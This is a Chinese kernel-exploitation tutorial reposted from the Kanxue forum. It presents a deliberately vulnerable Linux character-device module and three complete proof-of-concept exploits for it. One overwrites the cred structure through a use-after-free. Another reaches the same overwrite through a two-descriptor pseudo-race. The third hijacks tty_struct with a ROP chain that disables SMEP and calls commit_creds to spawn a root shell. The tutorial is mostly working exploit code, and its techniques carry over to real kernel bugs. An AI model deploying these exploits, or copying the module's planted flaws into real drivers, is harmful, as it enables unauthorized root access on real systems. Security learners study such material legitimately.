Kernel从0开始
2021-12-23 18:11:57 Author: mp.weixin.qq.com(查看原文) 阅读量:15 收藏


本文为看雪论坛优秀文章
看雪论坛作者ID:PIG-007

简介

这里就尝试用堆来解题,由于kernel的解法多种多样,这里我们从最简单的UAF入手。
 
给出自己设计的堆题目,存在很多的漏洞,read越界读,edit越界写,UAF,Double Free等:
#include <linux/module.h>#include <linux/version.h>#include <linux/kernel.h>#include <linux/types.h>#include <linux/kdev_t.h>#include <linux/fs.h>#include <linux/device.h>#include <linux/cdev.h>#include <asm/uaccess.h>#include <linux/slab.h> //设备驱动常用变量//static char *buffer_var = NULL;static char *buffer_var = NULL;static struct class *devClass; // Global variable for the device classstatic struct cdev cdev;static dev_t stack_dev_no;  struct note{    int idx;    int len;    char* data;};  //static char* notelist[1000];static char* notelist[1000];static struct note* noteChunk;static int count = 0;   static ssize_t stack_read(struct file *filp, const char __user *buf,size_t len, loff_t *f_pos); static ssize_t stack_write(struct file *filp, const char __user *buf,size_t len, loff_t *f_pos); static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg); static int stack_open(struct inode *i, struct file *f); static int stack_close(struct inode *i, struct file *f);   static struct file_operations stack_fops =        {                .owner = THIS_MODULE,                .open = stack_open,                .release = stack_close,                .write = stack_write,                .read = stack_read,                .unlocked_ioctl = stack_ioctl        }; // 设备驱动模块加载函数static int __init stack_init(void){    printk(KERN_INFO "[i] Module stack registered");    if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)    {        return -1;    }    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)    {        unregister_chrdev_region(stack_dev_no, 1);        return -1;    }    if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)    {        printk(KERN_INFO "[i] Module stack error");        class_destroy(devClass);        unregister_chrdev_region(stack_dev_no, 1);        return -1;    }    cdev_init(&cdev, &stack_fops);    if (cdev_add(&cdev, stack_dev_no, 1) == -1)    {        device_destroy(devClass, stack_dev_no);        class_destroy(devClass);        unregister_chrdev_region(stack_dev_no, 1);        return -1;    }     printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));    return 0;} // 设备驱动模块卸载函数static void __exit stack_exit(void){    // 释放占用的设备号    unregister_chrdev_region(stack_dev_no, 1);    cdev_del(&cdev);}  // 读设备ssize_t stack_read(struct file *filp, const char __user *buf,size_t len, loff_t *f_pos){    printk(KERN_INFO "Stack_read function" );    copy_to_user(buf,buffer_var,len);} // 写设备ssize_t stack_write(struct file *filp, const char __user *buf,size_t len, loff_t *f_pos)  //buffer overflow{    printk(KERN_INFO "Stack_write function" );    copy_from_user(buffer_var, buf, len);    printk("[i] Module stack write: %s\n",buffer_var);    return len;}   // ioctl函数命令控制long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){    char* chunk = NULL;    int retval = 0;    printk(KERN_INFO "Ioctl Get!\n");    printk("notelist_addr:0x%llx\n",&notelist[0]);    switch (cmd) {         case 1://add            //noteChunk = (char *)kmalloc(sizeof(struct Note),GFP_KERNEL);            //copy_from_user(noteChunk, arg, sizeof(struct Note));             printk("Kernel Add function!---001\n");            noteChunk = (struct Note*)arg;            chunk = (char *)kmalloc(noteChunk->len,GFP_KERNEL);            printk("chunk_addr:0x%llx\n",chunk);            if (!chunk)            {                printk("Alloca Error\n");                return 0;            }            memcpy(chunk, noteChunk->data,noteChunk->len);            notelist[count] = chunk;            chunk = NULL;            count ++;            printk("Add Success!\n");            break;         case 888: //free without clean point and data            printk("Kernel Free function!---888\n");            noteChunk = (struct Note*)arg;            printk("notelist:0x%llx\n",notelist[noteChunk->idx]);            if (notelist[noteChunk->idx])            {                kfree(notelist[noteChunk->idx]);                //notelist[noteChunk->idx] = NULL;                printk("Free Success!\n");            }            else            {                printk("You can't free it!There is no chunk!\n");            }            break;         case 3://edit   //UAF and overflow            printk("Kernel Edit function!---003\n");            noteChunk = (struct Note*)arg;            if (notelist[noteChunk->idx])            {                memcpy(notelist[noteChunk->idx], noteChunk->data,noteChunk->len);                printk("Edit Success!\n");            }            else            {                printk("You can't edit it!There is no chunk!\n");            }            break;         case 4://read   //over read            printk("Kernel Read function!---004\n");            noteChunk = (struct Note*)arg;            if(notelist[noteChunk->idx]){                copy_to_user(noteChunk->data,notelist[noteChunk->idx],noteChunk->len);                printk("Read Success!\n");            }            break;         case 111: //Test add chunk            printk("Test add chunk!---111\n");            printk(KERN_INFO "No buffer_var!Malloc now!" );            buffer_var=(char*)kmalloc(0xa8,GFP_KERNEL);            printk("buffer_var:0x%llx\n",buffer_var);            break;         default:            retval = -1;            break;    }        return retval;}  static int stack_open(struct inode *i, struct file *f){    printk(KERN_INFO "[i] Module stack: open()\n");    return 0;} static int stack_close(struct inode *i, struct file *f){    kfree(buffer_var);    //buffer_var = NULL;    printk(KERN_INFO "[i] Module stack: close()\n");    return 0;} module_init(stack_init);module_exit(stack_exit); MODULE_LICENSE("GPL");// MODULE_AUTHOR("blackndoor");// MODULE_DESCRIPTION("Module vuln overflow");

利用Cred结构体提权

1、正常UAF

前置知识

由于是UAF漏洞,所以直接尝试再重启一个进程,这样新进程启动时就会申请一个Cred结构体(这里大小为0xa8)。而如果此时申请的结构体恰好落在我们释放过的堆块上,那么我们就可以利用UAF漏洞修改Cred结构体,将其uid和gid改为0,再利用该进程原地起shell,就能获得root权限的shell了。
 
这里同样需要一点前置知识,之前也写过类似的,其实就相当于修改某个进程的cred结构体中的uid和gid就能将该进程提权了,之后利用提权后的进程起shell得到的shell就是提权后的shell。
 
比较简单,这里直接给:

POC

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <sys/mman.h>#include <assert.h>  struct addNote{    size_t len;    char* data;}; struct editNote{    size_t idx;    size_t len;    char* data;};   //open devint openDev(char* pos);void addFun(int fd,struct addNote* arg);void freeFun(int fd,struct editNote* arg);void editFun(int fd,struct editNote* arg);void readFun(int fd,struct editNote* arg);  int main(int argc, char *argv[]){    int fd;    int idFork;    unsigned long memOffset;    struct addNote addChunk;    struct editNote readChunk;    struct editNote editChunk;     //open Dev    char* pos = "/dev/stack";    fd = openDev(pos);     char credBuf[0xa8] = {0};    addChunk.len = 0xa8;    addChunk.data = credBuf;    addFun(fd,&addChunk);     editChunk.idx = 0;    freeFun(fd,&editChunk);     idFork = fork();    editChunk.data = credBuf;    editChunk.len = 28;    if(idFork == 0){        //get into 28*0 to set uid and gid 0        editFun(fd,&editChunk);            if(getuid() == 0){            printf("[*]welcome root:\n");            system("/bin/sh");            return 0;        }    }    else if(idFork < 0){        printf("[*]fork fail\n");    }    else{        wait(NULL);    }     return 0; }  int openDev(char* pos){    int fd;    printf("[+] Open %s...\n",pos);    if ((fd = open(pos, O_RDWR)) < 0) {        printf("    Can't open device file: %s\n",pos);        exit(1);    }    return fd;} void addFun(int fd, struct addNote* arg){    ioctl(fd,1,arg);} void freeFun(int fd, struct editNote* arg){    ioctl(fd,888,arg);} void editFun(int fd, struct editNote* arg){    ioctl(fd,3,arg);} void readFun(int fd, struct editNote* arg){    ioctl(fd,4,arg);}

这里还需要说明的是,cred结构体大小在我编译的4.4.72中为0xa8,在不同内核版本可能不同,通常可以查看对应版本的Linux内核源码或者写个简便的C程序运行一下即可知道。

2、伪条件竞争造成的UAF(多进程)

前置知识

前面我们的UAF是正常的指针未置空的UAF,但如果在程序中是add函数申请chunk,只有在关闭设备时才会释放chunk。那么这样当我们对一个设备进行操作时,只有在关闭设备时才能释放chunk,这就无法显著地造成UAF。但是如果能够对同一个设备打开两次 (操作符分别为fd1、fd2) ,申请一个堆块后,关闭掉第一个设备fd1后,就能释放该堆块。之后利用fd2继续对设备进行写操作,就能够继续修改释放掉的堆块了,这样就造成了一个UAF漏洞。同样也是利用cred结构体进行提权。
 
同样直接给出poc即可。

POC

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <sys/mman.h>#include <assert.h>     struct addNote{    size_t len;    char* data;}; struct editNote{    size_t idx;    size_t len;    char* data;};   //open devint openDev(char* pos);void addFun(int fd,struct addNote* arg);void freeFun(int fd,struct editNote* arg);void editFun(int fd,struct editNote* arg);void readFun(int fd,struct editNote* arg);  int main(int argc, char *argv[]){    int fd1,fd2;    int idFork,idBefore;    unsigned long memOffset;    struct addNote addChunk;    struct editNote readChunk;    struct editNote editChunk;    //char *mycred;     //mycred = current_user_ns();    //printf("Cred_addr:0x%llx\n",mycred);     //open Dev    char* pos = "/dev/stack";    char credBuf[0xa8] = {0};    fd1 = openDev(pos);    fd2 = openDev(pos);    ioctl(fd1,111,editChunk); //test add    close(fd1);     idFork = fork();    printf("idFork:%d\n",idFork);     if(idFork == 0){        //get into 28*0 to set uid and gid 0        idBefore = getuid();        printf("Before uid:%d\n",idBefore);        write(fd2, credBuf, 28);         if(getuid() == 0){            printf("[*]welcome root:\n");            system("/bin/sh");            return 0;        }    }    else if(idFork < 0){        printf("[*]fork fail\n");    }    else{        wait(NULL);    }     return 0; }  int openDev(char* pos){    int fd;    printf("[+] Open %s...\n",pos);    if ((fd = open(pos, O_RDWR)) < 0) {        printf("    Can't open device file: %s\n",pos);        exit(1);    }    return fd;} void addFun(int fd, struct addNote* arg){    ioctl(fd,1,arg);} void freeFun(int fd, struct editNote* arg){    ioctl(fd,888,arg);} void editFun(int fd, struct editNote* arg){    ioctl(fd,3,arg);} void readFun(int fd, struct editNote* arg){    ioctl(fd,4,arg);}

劫持tty_struct结构体

这个真是调了我无敌久。

原理

1、函数调用链

entry_SYSCALL_64->SyS_write->SYSC_write->vfs_write
->__vfs_write->tty_write->do_tty_write->n_tty_write->pty_write
 
这里我们需要的就是劫持某个结构体,从而使得原本通过该结构体调用pty_write函数指针变为调用我们的ROP链条。

2、劫持栈

由于用户空间和内核空间得返回进入需要用到栈,所以一般需要进行栈劫持,这里我们可以看到当通过ptmx进入其write函数时,rax为从tty_struct中获取的operations ops指针,而此时该指针已经被我们劫持了,所以如果有类似于mov rsp、rax之类的gadget就能将栈劫持到我们可控的operations ops指针指向的内存处,那么之后就很容易进行内核和用户空间的转换。
 
这里就用到常用的一个gadget。
 
movRspRax_decEbx_ret
 

3、结构体

这个之前也是讲过的。
struct tty_struct {    int magic;    struct kref kref;    struct device *dev;    struct tty_driver *driver;    const struct tty_operations *ops;    int index;     /* Protects ldisc changes: Lock tty not pty */    struct ld_semaphore ldisc_sem;    struct tty_ldisc *ldisc;     struct mutex atomic_write_lock;    struct mutex legacy_mutex;    struct mutex throttle_mutex;    struct rw_semaphore termios_rwsem;    struct mutex winsize_mutex;    spinlock_t ctrl_lock;    spinlock_t flow_lock;    /* Termios values are protected by the termios rwsem */    struct ktermios termios, termios_locked;    struct termiox *termiox; /* May be NULL for unsupported */    char name[64];    struct pid *pgrp; /* Protected by ctrl lock */    struct pid *session;    unsigned long flags;    int count;    struct winsize winsize; /* winsize_mutex */    unsigned long stopped:1, /* flow_lock */        flow_stopped:1,        unused:BITS_PER_LONG - 2;    int hw_stopped;    unsigned long ctrl_status:8, /* ctrl_lock */        packet:1,        unused_ctrl:BITS_PER_LONG - 9;    unsigned int receive_room; /* Bytes free for queue */    int flow_change;     struct tty_struct *link;    struct fasync_struct *fasync;    int alt_speed; /* For magic substitution of 38400 bps */    wait_queue_head_t write_wait;    wait_queue_head_t read_wait;    struct work_struct hangup_work;    void *disc_data;    void *driver_data;    struct list_head tty_files; #define N_TTY_BUF_SIZE 4096     int closing;    unsigned char *write_buf;    int write_cnt;    /* If the tty has a pending do_SAK, queue it here - akpm */    struct work_struct SAK_work;    struct tty_port *port;};
当我们打开ptmx设备时,会使用kmalloc申请这个tty_struct结构,如果存在一个UAF漏洞,那么就可以将该tty_struct申请为我们释放掉的一个chunk,其中重要的是int magic;和const struct tty_operations *ops;这两个结构体成员。

magic成员

这个在网上很多人都直接将其设置为0,但是在某些版本中,如果直接设置为0,通常可能出现以下的错误:
 
 
也就是magic number检测错误,这个经过调试可以发现,实际申请结构体之后是不变的:
 
 
可以得到如下的数值:
 
 
这个在后面的数值设置中可以用到,需要我们来调试才可以,不然其实如果直接设置为0也容易出错。
 
另外其中的driver可以设置为0,所以一般直接设置tty_struct[3]和tty_struct[0]即可。

ops成员

这个const struct tty_operations *ops结构体指针在该做法里被劫持为我们设置fake_operations指针,有如下结构体,设置fake_operations中的write函数指针为ROP链条,就可以通过调用ptmx设备中的write函数,从而调用到我们设置的ROP链条。
struct tty_operations {    struct tty_struct * (*lookup)(struct tty_driver *driver,    struct inode *inode, int idx);    int (*install)(struct tty_driver *driver, struct tty_struct *tty);    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);    int (*open)(struct tty_struct * tty, struct file * filp);    void (*close)(struct tty_struct * tty, struct file * filp);    void (*shutdown)(struct tty_struct *tty);    void (*cleanup)(struct tty_struct *tty);    int (*write)(struct tty_struct * tty,        const unsigned char *buf, int count);    int (*put_char)(struct tty_struct *tty, unsigned char ch);    void (*flush_chars)(struct tty_struct *tty);    int (*write_room)(struct tty_struct *tty);    int (*chars_in_buffer)(struct tty_struct *tty);    int (*ioctl)(struct tty_struct *tty,        unsigned int cmd, unsigned long arg);    long (*compat_ioctl)(struct tty_struct *tty,        unsigned int cmd, unsigned long arg);    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);    void (*throttle)(struct tty_struct * tty);    void (*unthrottle)(struct tty_struct * tty);    void (*stop)(struct tty_struct *tty);    void (*start)(struct tty_struct *tty);    void (*hangup)(struct tty_struct *tty);    int (*break_ctl)(struct tty_struct *tty, int state);    void (*flush_buffer)(struct tty_struct *tty);    void (*set_ldisc)(struct tty_struct *tty);    void (*wait_until_sent)(struct tty_struct *tty, int timeout);    void (*send_xchar)(struct tty_struct *tty, char ch);    int (*tiocmget)(struct tty_struct *tty);    int (*tiocmset)(struct tty_struct *tty,        unsigned int set, unsigned int clear);    int (*resize)(struct tty_struct *tty, struct winsize *ws);    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);    int (*get_icount)(struct tty_struct *tty,    struct serial_icounter_struct *icount);#ifdef CONFIG_CONSOLE_POLL    int (*poll_init)(struct tty_driver *driver, int line, char *options);    int (*poll_get_char)(struct tty_driver *driver, int line);    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);#endif    const struct file_operations *proc_fops;};

4、最终结构

fake_tty_struct结构体

fake_tty_operation结构体

POC

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <sys/mman.h>#include <assert.h>#include <linux/tty.h>  struct cred;struct task_struct;typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));prepare_kernel_cred_t   prepare_kernel_cred;commit_creds_t    commit_creds; unsigned long user_cs;unsigned long user_ss;unsigned long user_rflags;unsigned long user_sp; #define tty_size 0x2e0  struct addNote{    size_t len;    char* data;}; struct editNote{    size_t idx;    size_t len;    char* data;};   //ROP funcunsigned long findAddr();void save_state();void getroot (void);void shell(void); //open devint openDev(char* pos);void addFun(int fd,struct addNote* arg);void freeFun(int fd,struct editNote* arg);void editFun(int fd,struct editNote* arg);void readFun(int fd,struct editNote* arg);  int main(int argc, char *argv[]){    int fd,fd_tty;    char buf[0x10];    int i = 0;    unsigned long memOffset;    struct addNote addChunk;    struct editNote readChunk;    struct editNote editChunk;     unsigned long smpOffset = 0x1146000;    memOffset = findAddr();     //debug kernel    unsigned long vmBase = memOffset - smpOffset;    unsigned long pop_rdi_ret = vmBase + 0x3d032d;    unsigned long pop_rax_rbx_r12_r13_rbp_ret = vmBase + 0x46c45e;    unsigned long movCr4Rdi_pop_rbp_ret = vmBase + 0x004c40;    unsigned long movRspRax_decEbx_ret = vmBase + 0x805115;    unsigned long swapgs_sysret = (unsigned long)vmBase + 0x60ba2;    unsigned long swapgs_popRbp_ret = (unsigned long)vmBase + 0x60394;    unsigned long iretq = (unsigned long)vmBase + 0x803857;    unsigned long getR = (unsigned long)getroot;    unsigned long sh = (unsigned long)shell;    unsigned long sp;    size_t rop[32];     commit_creds        = (commit_creds_t)(vmBase + 0x9f4a0);    prepare_kernel_cred = (prepare_kernel_cred_t)(vmBase + 0x9f870);      // unsigned long vmBase = memOffset - smpOffset;    // unsigned long pop_rdi_ret = vmBase + 0xFE3542;     // unsigned long pop_rax_rbx_r12_rbp_ret = vmBase + 0x3794b9;    // unsigned long movCr4Rax_pop_rbp_ret = vmBase + 0xe0e4;    // unsigned long movRspRax_decEbx_ret = vmBase + 0x8841CF;    // unsigned long getR = (unsigned long)getroot;    // unsigned long swapgs_ret = (unsigned long)vmBase + 0x884188;    // unsigned long iretq = (unsigned long)vmBase + 0x882d77;    // unsigned long sh = (unsigned long)shell;     //print part    printf("pop_rdi_ret:0x%llx\n",pop_rdi_ret);    printf("movCr4Rdi_pop_rbp_ret:0x%llx\n",movCr4Rdi_pop_rbp_ret);    printf("movRspRax_decEbx_ret:0x%llx\n",movRspRax_decEbx_ret);    printf("iretq:0x%llx\n",iretq);     //open Dev    char* pos = "/dev/stack";    fd = openDev(pos);    char ttyBuf[tty_size] = {'0'};    addChunk.len = tty_size;    addChunk.data = ttyBuf;    addFun(fd,&addChunk);      void* fake_tty_operations[30];    for(int i = 0; i < 30; i++)    {        fake_tty_operations[i] = movRspRax_decEbx_ret;    }    fake_tty_operations[0] = pop_rax_rbx_r12_r13_rbp_ret;    fake_tty_operations[1] = (size_t)rop;     size_t fake_tty_struct[4] = {0};    fake_tty_struct[0] = 0x0000000100005401;//need to set magic number    fake_tty_struct[1] = 0;    fake_tty_struct[2] = 0;    fake_tty_struct[3] = (size_t)fake_tty_operations;       editChunk.idx = 0;    editChunk.len = 0x20;    editChunk.data = fake_tty_struct;     freeFun(fd,&editChunk);     pos = "/dev/ptmx";    fd_tty = openDev(pos);    printf("fd_tty:0x%d\n",fd_tty);    editFun(fd, &editChunk);      //rop set    save_state();    rop[i++] = pop_rdi_ret;      // pop_rax_rbx_r12_rbp_ret    rop[i++] = 0x6f0;    rop[i++] = movCr4Rdi_pop_rbp_ret;      // mov cr4, rax; pop rbp; ret;    rop[i++] = 0;    rop[i++] = (size_t)getR;    rop[i++] = swapgs_popRbp_ret;      // swapgs;ret    rop[i++] = 0x0;    rop[i++] = iretq;      // iretq    rop[i++] = (size_t)sh;    rop[i++] = user_cs;                /* saved CS */    rop[i++] = user_rflags;            /* saved EFLAGS */    rop[i++] = user_sp;    rop[i++] = user_ss;     write(fd_tty,buf,0x10);     return 0; }  int openDev(char* pos){    int fd;    printf("[+] Open %s...\n",pos);    if ((fd = open(pos, O_RDWR)) < 0) {        printf("    Can't open device file: %s\n",pos);        exit(1);    }    return fd;} void addFun(int fd, struct addNote* arg){    ioctl(fd,1,arg);} void freeFun(int fd, struct editNote* arg){    ioctl(fd,888,arg);} void editFun(int fd, struct editNote* arg){    ioctl(fd,3,arg);} void readFun(int fd, struct editNote* arg){    ioctl(fd,4,arg);}  void save_state() {   __asm__("mov %cs,user_cs;"           "mov %ss,user_ss;"           "mov %rsp,user_sp;"           "pushf;"           "pop user_rflags;"           );  puts("user states have been saved!!");}  void shell(void) {  printf("[+] getuid() ...");  if(!getuid()) {    printf(" [root]\n[+] Enjoy your shell...\n");    system("/bin/sh");  } else {    printf("[+] not root\n[+] failed !!!\n");  }} /* function to get root id */void getroot (void){  commit_creds(prepare_kernel_cred(0));} unsigned long findAddr() {     char line[512];    char string[] = "Freeing SMP alternatives memory";    char found[17];    unsigned long addr=0;     /* execute dmesg and place result in a file */    printf("[+] Excecute dmesg...\n");    system("dmesg > /tmp/dmesg");     printf("[+] Find usefull addr...\n");    FILE* file = fopen("/tmp/dmesg", "r");     while (fgets(line, sizeof(line), file)) {        if(strstr(line,string)) {            strncpy(found,line+53,16);            sscanf(found,"%p",(void **)&addr);            break;        }    }    fclose(file);     if(addr==0) {        printf("    dmesg error...\n");        exit(1);    }     return addr; }


执行流程

这里还得说一下执行流程,比较不好调试。
 
即先是依据write函数跳转到我们最开始设置的gadget,也就是movRspRax_decEbx_ret,然后将栈劫持为fake_tty_operations。之后再跳转到pop_rax_rbx_r12_r13_rbp_ret,将ROP赋值给rax,再ret到movRspRax_decEbx_ret,再将栈劫持为ROP,之后就ret到ROP链条中的pop_rdi_ret了,之后执行流可控。
swapgs;ret没有时,可以用加上pop的,只要最后ret到iretq即可。同样的gadget可以相互转换。
 
iretq类似于ret,直接一个指令即可。
 
寄存器保存需要在进入内核之前。
 
堆块申请时的规则需要是GFP_KERNEL才行,至少GFP_DMA不行。

 

看雪ID:PIG-007

https://bbs.pediy.com/user-home-904686.htm

*本文由看雪论坛 PIG-007 原创,转载请注明来自看雪社区

# 往期推荐

1.强网拟态线上mobile的两道wp

2.某钱包转账付款算法分析篇

3.通过PsSetLoadImageNotifyRoutine学习模块监控与反模块监控

4.Kernel从0开始

5.常见的几种DLL注入技术

6.侠盗猎车 — 玩转固定码

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458411220&idx=1&sn=bcb5872be8a7d92dee039fc565075057&chksm=b18f505e86f8d948bdad54fa350494b56fe67f2dbb8b0a3c8261b5b620f23609fc987c7fd8cb#rd
如有侵权请联系:admin#unsafe.sh